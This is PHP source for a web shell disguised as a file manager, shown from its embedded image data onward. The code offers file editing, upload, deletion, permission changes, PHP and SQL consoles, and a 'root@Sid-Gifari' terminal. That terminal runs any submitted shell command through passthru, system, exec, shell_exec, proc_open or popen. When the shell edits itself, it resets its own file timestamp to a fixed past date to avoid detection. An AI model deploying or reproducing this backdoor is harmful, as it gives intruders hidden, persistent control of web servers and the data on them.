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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
